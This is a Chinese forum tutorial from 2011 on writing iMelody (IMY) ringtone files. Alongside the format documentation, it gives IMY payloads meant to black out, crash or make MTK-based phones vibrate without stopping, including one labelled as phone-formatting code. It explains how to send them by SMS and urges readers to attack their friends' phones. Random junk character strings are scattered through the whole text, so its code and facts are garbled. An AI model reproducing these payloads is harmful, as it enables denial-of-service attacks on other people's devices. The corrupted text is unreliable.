edit_note帖子
102
stars积分
70
event加入
2011-03-01
编程学习
[教程]手机IMY短信恶搞铃声制作流程
schedule发表于 2011-05-29 09:33:00
visibility查看 1,502
chat_bubble回复 2
#1 楼主
创建imy铃声的过程如下,以CS的炸弹声为例:3 x% m1 f# k# u3 w 建立一个记事本按一下格式,写入代码:6 E’ K/ C4 J/ w BEGIN:IMELODY VERSION:1.2 5 O+ A+ r3 p9 O FORMAT:CLASS1.0 0 d5 m’ {. K6 [+ v“ x NAME:Bomb (你铃声的名字,方便你记忆,不过在手机里显示的名字还是.imy前的文件名) BEAT:120 4 R“ Q, R6 L! ]0 ^# x! T STYLE:S0 VOLUME:V15 7 D: U4 n2 L- x0 Z: Q# u MELODY(预设动画伤心)ledonvibeonbackon*7e4ledoffvibeoffbackoffr1@5) (ledonvibeonbackon*7e4ledoffvibeoffbackoffr2@15) (ledonvibeonbackon*7e4ledoffvibeoff backoffr3@15)(ledonvibeonbackon*7e4ledoffvibeoffbackoffr5@25)vibeon(ledonbackon*7e5ledoffbackoff@0) (音符代码) END:IMELODY , J% Y. Q/ G4 |& _9 P- |5 ` 最后保存为*.imy用红外线传入你的68或其他机器保存,就可以享受到带震动及闪屏的铃声了 x’ [2 l; \( P- T* H) p 大家可以对这个一起好好研究研究~ 二、IMY被恶搞 另个网友如是说:. d“ U’ O7 T2 X2 \1 p E - Y, P5 c6 `# {% p; J2 Y 黑屏震动死机音符 谁有imy源代码: {8 {) D, n5 k T 今天朋友给我发了两条短信。内容如下:5 V g1 `& c2 U* w’ I 1.警告:这条短信不要往下翻了。& W“ g4 a3 f- W p6 z v 再翻就会黑屏一个小时。, Q& U Y7 w( D/ X5 V (无奈本人好奇心太重,翻了一下,结果就黑屏了。按按键还一闪一闪的。结果只能扣电池。郁闷。。。) 2.相信又能让手机失灵的短信吗?这条就能让你梦想成真。: V’ [8 _4 P9 B0 H+ Y- P 不要往下翻了。4 [( t8 c& ?“ @2 s N* q 再翻你就得扣电池了。 再此警告!! : E3 c- E3 |’ @+ @7 u/ B (可惜这次我又看了,结果手机狂振不止。没办法,扣电池吧。更加郁闷。。。 )’ M8 J8 L4 }, |- | 真邪门了,短信能让手机这样!!6 K1 ^+ |* [+ r, }- R- q 上网查了一下,原因找到了:本人的手机是山寨机!!! : N* { p6 b’ \* i 为什么这条短消息会让山寨手机黑屏呢?这和手机的MTK平台有关。 H# }8 x* h! S4 \0 Z 大部分“山寨机”的操作系统使用的是MTK平台。这个MTK平台,因为价格低廉,让不少国内生产MP3音乐播放器的厂家,一夜之间,都能生产手机。 这条短信的格式是:(空行)注意(空行)你的手机将黑屏一小时(空行)你信不信……(空行到底)。在这些空行里,隐含了一个音乐提示符。正是这个音乐提示符,让手机黑屏的。这个音乐提示符,是可以测试盗版和正版的一个组件——和电脑上微软XP操作系统一样,不是正版的软件,就会黑屏。5 p& V. F) q- ~* X- g/ c 在MTK解决方案的手机中对于声音文件,都带有一个震动接口,也就是把震动命令放进铃声,使用该铃声的时候,手机会自动震动了!同震动的原理,MTK解决方案中,可能除了震动接口,还有黑屏的命令接口(当然,很可能仅仅是漏洞),在声音文件中加入该命令就可以使手机黑屏了!% K# P3 x B“ Z 三、进一步扩大战果 j* P; R1 [5 n( S8 ^“ S + U9 E+ e! g+ z 手机格式化代码!!!!!!!!!! 6 m& {+ J. g’ Q BEGBEGIN:IMELODY VERSION:1.2 FORMAT:CLASS1.0 COMPOSER:MIK(23)Fomat/ l0 v) [0 j2 M | BEAT:180 ?; P O* E! Y MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff (“+<melody>+“@9999999999999999999999999)“ ’ y0 u( |: R2 Z 手机黑屏代码 BEGIN:IMELODY2 z+ O’ M’ q’ }. u BEAT:1200% D3 J7 G0 M“ J p0 m( ?; Z MELODY(预设动画伤心)ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600) END:IMELODY 手机狂震代码6 _7 w& W1 J; Y# }, A+ M 3 g n0 u& X2 K5 J( V0 @0 ]8 m BEGIN:IMELODY VERSION:1.2* p1 l; D/ W2 T FORMAT:CLASS1.0 BEAT:1006 ^: ]4 B“ f2 {8 M6 E% C1 Z MELODY(预设动画伤心)ledoffledonbackoffbackonvibeon@0) END:IMELODY 向你们的“山寨朋友”发起猛攻吧 * ?# u% C- Z6 L J1 `, m5 l8 j 大家慎用..后果自负( R6 U7 ]5 I( l( W) U8 c6 A K imy 放到手机里的Audio文件夹,切忌手机里的Audio文件夹 然后点击写短信(不是彩信)(可以用自己的手机编辑铃声然后保存看是不是这个文件家.我自己测试了是这个文件夹) 选项: 以上各个代码未曾在短信中直接写入源代码发送试验,格式化代码请勿轻易尝试!如果要在短信中直接写入格式化代码,请在尝试其他代码后,确保无危险后才试验。 2 G2 D5 }% { [ 插入对象我的铃声选取刚才那个IMY文件发送! G4 G/ _: B% p7 T% V 4 { y. y% u3 D2 G 原理IMY是索爱最早支持的一种春代码的单音节铃声,可以用代码调用手机的解码芯片发出一些声音甚至一些核心指令* J4 V1 o9 z: n* Q’ `; u2 X2 T ! a+ I“ N2 t. h6 t1 z 四、明白一点(基本标准)( I0 x: q! \ m“ T4 c x* W imy的基本格式:% X& p4 U8 K4 U BEGIN:IMELOPYDEBT://执行参数(数字) + i( }& k* r q1 ` MELODY://灯光及震动控制脚本 3 r+ E. \; _% h {7 B! P8 e END:IMELODY --2008-11-12 BEGIN:IMELODY 6 e7 A) [) G s7 P* O2 Z VERSION:1.26 y3 z& j W“ E& y! J3 s* r . Y% y5 f+ L. D2 p: M 五、我们要再搞清楚一点:9 I’ g \0 _ J“ z’ I“ ] IMY详解: ! b \ ]7 r5 y. _4 y! i! T0 l. p; C/ s/ _ 6 L- V3 s+ J e3 W; }“ f(iMelody Ringtone Format):这是被专门设计用于EMS中的铃声,与2000年由爱立信提出,并与2001年6月得到3GPP认可成为标准,i-Melody铃声基于文本的方式标志音调,它的标准化工作由IrDA负责。支持EMS的爱立信以及现在的索尼爱立信手机型号多采用i-Melody铃声格式。’ l8 b9 O; ]8 ^& d# @“ E8 {: i6 I IMY是一种手机的铃声格式 4 k. U% t( V. P“ H’ @) v - W7 x6 o, l4 \. q它是2000 年由爱立信提出的一种音频...IMY 是中国移动规定的通用彩信文件格式之一,但是支持这一文件格式自播放和铃声的手机并不多。 % }. |& R3 E“ @& u“ ^5 s0 z8 I& G g/ N9 x5 Y“ m5 E’ | T! W“ r3 k( S# L4 [0 w( q IMY是属于单音格式(非和弦) 7 U3 Q* c( C8 \: @- j6 l. e/ O* A’ r 直接可以在手机上编写音符; W E5 V9 { z8 w Z% O8 v5 n 0 y- j2 Z n V 再谈谈MTK为什么会出现这个漏洞,早在MTK6210 年代 是没有 此漏洞的,这也是有些老款的山寨机,对此类短信免疫的原因 !) M. z* q% z6 }9 m* l& J 7 S’ e% d7 T9 Y: V# }. L& U* z- s5 n+ G- q, e. m: v2 U6 V, ]# Z: \’ \ 到了 MTK6220年代 还记得当时山寨吹出的新功能 闪信 就是发一条短信伴随着屏幕和键盘闪,可以闪出很多 莫尔斯电码 当时看看挺个性后来可能厂商不宣传,加上大家觉得此功能鸡肋,也不再提它了,而“强大“的MTK却保留了次功能,以致漏洞的产生! : G’ B% j+ N5 p. W3 H + j. e) ~% r A’ L下面我独家提供下imy 的编写方式以及代码:0 [+ V# ], O- s. w1 ] : W. D7 v! W6 L“ r3 Y3 m& R“ R8 z 经过自己这两天的摸索,有些心得,奉献给大家: 2 V8 V4 N# v: j ]- x& X3 I (一)IMY基本格式解析:# V) G6 g“ v- o+ t1 N7 |. D8 T. O. r’ ^+ u, |7 B/ ~4 R ##########################4 q. u4 s2 ?“ P f1 I& ~- J3 g! i BEGIN:IMELODY4 Z3 j; m) a5 @’ p- [* A 2 _* P2 k* ^! R VERSION:<version>0 l3 I2 T% G* w( C, f FORMAT:<format>2 H _5 @, l, d* d“ E! F0 J C1 t9 k) h D+ b9 |# D [NAME:<ring_name>]; e& n# P3 G( t) |1 n( C [COMPOSER:<composer_name>] ! K! k3 { y* N& L- ] }* E3 H# h [BEAT:<beat>]: f( s8 F7 Y’ @) {9 P% r9 a. y0 v! y+ }9 z( t [STYLE:<style>]+ R( V) x0 S% p6 { @( K/ y# K, o8 G [VOLUME:<volume>] # R; S/ ~- _7 c1 V MELODY:<melody>+ o2 k h- c3 \/ e1 E+ b/ Z7 M“ P9 i5 ?. k ~+ b+ J% ] w9 ^& V END:IMELODY5 W’ Q: `; ^/ [- Z’ Z3 ^2 S“ b ########################### 6 Y2 D7 h“ z’ R3 o( t4 C’ L- k 注:[]中为可选项 ;<>中为变量 ;两排#号间为要存储为*.imy文件中的内容. K f’ _! g8 H8 U* f5 D [8 ^5 N9 d2 f7 h8 T 变量详解:# `/ m* V1 J: s: W+ m! |& W6 \2 E“ a7 z E1 N6 Z* S. S“ Q’ _* l (1)<version>:版本号。唯一值1.2 c3 n/ K r- L8 e: C+ l k ( F6 [+ {# J) X( H! ]0 A (2)<format>:格式编号。取值CLASS1.0|CLASS2.0(不了解后者是否被T68支持,一般填CLASS1.0): q5 O; |) r8 e/ O4 } (3)<ring_name>:A S C I I字符,铃声名. h& p8 h/ Q& s+ A S (4)<composer_name>:作者名0 G4 L7 Y& f* r. A2 g& B2 z, W& j x (5)<beat>:节奏。取值从25到900bpm(拍/分钟),越大节奏越快,缺省120 }& z+ r, A( b) s/ u6 m& K; u5 |9 {3 g; L j’ W (6)<style>:风格。取值为S0|S1|S2。5 t; k# O- r% ^) ] @/ k- k% s# R“ _% ~ ; ; ; ; S0:普通。每音符间有暂停,音符与暂停时间比为20:1,缺省值* d I; K3 M% @ ; ; ; ; S1:持续。每音符间无暂停7 J: Q) `8 n& I: K“ {: X, h( N0 v ’ y# \9 ~& D/ _; [ ; ; ; ; S2:断奏。音符与暂停时间比为1:1; z V3 a- c’ d! G8 v: c 1 y2 |, S! K! Y5 f# y9 z (7)<volume>:音量。取值V0到V15。V0为静音,缺省V77 D; S) A3 K, V! B ) f/ y. S-
全部回复 (2)
2011-05-29 09:39:00
沙发
登录 后才能回复
flag举报帖子